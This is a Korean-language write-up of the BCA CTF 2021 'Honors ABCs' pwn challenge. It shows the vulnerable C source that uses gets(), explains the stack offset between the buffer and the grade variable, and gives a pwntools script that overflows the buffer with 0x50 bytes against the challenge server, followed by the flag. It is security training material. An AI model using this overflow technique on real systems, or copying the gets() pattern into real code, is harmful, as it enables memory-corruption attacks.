Search

[PWN] Honors ABCs

Year
2021
CTF Name
BCA CTF
Category
PWN
Type
Basic_BOF

1. Description

Here at BCA, we don't deal with normal classes. Everything is at the honors level or above! Let's start by learning about the alphabet.
And by learning, we obviously mean testing. Don't cheat!
nc bin.bcactf.com 49155

2. Write up

#include <unistd.h> #include <stdio.h> #include <stdlib.h> char *correct = "abcdefghijklmnopqrstuvwxyz"; int main() { int grade = 0; char response[50]; setbuf(stdout, NULL); setbuf(stdin, NULL); setbuf(stderr, NULL); puts("Welcome to your first class at BCA: Honors-level ABCs."); puts("Because we expect all our students to be perfect, I'm not going to teach you anything."); sleep(2); puts("Instead, we're going to have a quiz!"); puts("And, of course, I expect all of you to know the material already."); sleep(2); puts(""); puts("╔════════════════════════╗"); puts("║ THE QUIZ ║"); puts("║ ║"); puts("║ 1) Recite the alphabet ║"); puts("╚════════════════════════╝"); puts(""); printf("Answer for 1: "); gets(response); for (int i = 0; i < 26; ++i) { if (response[i] == 0) break; if (response[i] != correct[i]) break; grade = i * 4; } if (grade < 60) puts("An F? I'm sorry, but you clearly need to study harder."); else if (grade < 70) puts ("You didn't fail, but you could do better than a D."); else if (grade < 80) puts("Not terrible, but a C's nothing to write home about."); else if (grade < 90) puts("Alright, a B's not bad, I guess."); else if (grade < 100) puts("Ayyy, nice job on getting an A!"); else if (grade == 100) { puts("Perfect score!"); puts("You are an model BCA student."); } else { puts("How did you end up here?"); sleep(2); puts("You must have cheated!"); sleep(2); puts("Let me recite the BCA plagarism policy."); sleep(2); FILE *fp = fopen("flag.txt", "r"); if (fp == NULL) { puts("Darn, I don't have my student handbook with me."); puts("Well, I guess I'll just give you a verbal warning to not cheat again."); puts("[If you are seeing this on the remote server, please contact admin]."); exit(1); } int c; while ((c = getc(fp)) != EOF) { putchar(c); usleep(20000); } fclose(fp); } puts(""); puts("Alright, class dismissed!"); }
C
복사
해당 문제에서는 바이너리 파일과 함께 소스코드도 제공하고 있다. 소스코드를 분석하면 아래와 같다.
해당 프로그램은 알파벳 암기 시험을 보는 프로그램이다.
gets() 함수를 사용하여 response 배열에 입력한 문자열을 저장한다.
정답이 저장되있는 correct 배열과 response 배열을 비교하여 점수를 책정하며 최대 100점까지 획득이 가능하고 한번 틀리면 그 순간 암기 시험이 종료되며 점수가 책정된다.
점수 별로 등급을 받을 수 있으며 점수가 100보다 높은 경우 플래그를 획득할 수 있다.
해당 문제는 100점을 넘겨야만 플래그를 얻을 수 있으나 정상적인 방식으로는 최대 100점까지만 획득할 수 있다.
int main() { int grade = 0; char response[50]; ...... printf("Answer for 1: "); gets(response); for (int i = 0; i < 26; ++i) { if (response[i] == 0) break; if (response[i] != correct[i]) break; grade = i * 4; } ...... }
C
복사
우선 코드를 확인해보면 버퍼 오버플로우 취약점이 존재하는 gets() 함수를 사용하고 있고 grade 변수가 response 배열보다 먼저 정의가 되있기 때문에 스택상 response 배열이 더 위에 존재한다. 따라서 입력값으로 버퍼 오버플로우를 유도해서 grade에 100이 넘는 값을 넣으면 플래그를 얻을 수 있다.
이때 주의사항으로는 버퍼 오버플로우를 유도했으나 for문에서 grade 변수에 점수를 저장하는 루틴이 존재한다. 따라서 첫번째 루프에서 break문을 만나도록 유도해야 한다.
.text:0000000000001289 ; int __cdecl main(int argc, const char **argv, const char **envp) .text:0000000000001289 public main .text:0000000000001289 main proc near ; DATA XREF: _start+21↑o .text:0000000000001289 ; __unwind { .text:0000000000001289 endbr64 .text:000000000000128D push rbp .text:000000000000128E mov rbp, rsp .text:0000000000001291 sub rsp, 50h .text:0000000000001295 mov dword ptr [rbp-4], 0 .text:000000000000129C mov rax, cs:stdout@@GLIBC_2_2_5 ........ .text:0000000000001370 lea rdi, aAnswerFor1 ; "Answer for 1: " .text:0000000000001377 mov eax, 0 .text:000000000000137C call F_printf .text:0000000000001381 lea rax, [rbp-50h] .text:0000000000001385 mov rdi, rax .text:0000000000001388 mov eax, 0 .text:000000000000138D call F_scanf ........
C
복사
grade 변수의 위치와 response 배열의 위치는 디스어셈블러를 활용하면 정확하게 확인할 수 있다. grade 변수는 [rbp-4]에 위치하고 있고 response 배열은 [rbp-50h] 위치에 존재한다. 따라서 정답을 피해가는 선에서 0x50 byte만큼 임의의 값을 입력해주면 플래그를 얻을 수 있다.
from pwn import * r = remote("bin.bcactf.com", 49155) print r.recvuntil("Answer for 1: ") payload = "" payload += "A" * 0x50 r.sendline(payload) print r.recv(2048) r.interactive()
Python
복사

3. FLAG

bcactf{now_i_know_my_A_B_Cs!!_next_time_wont_you_cheat_with_me??}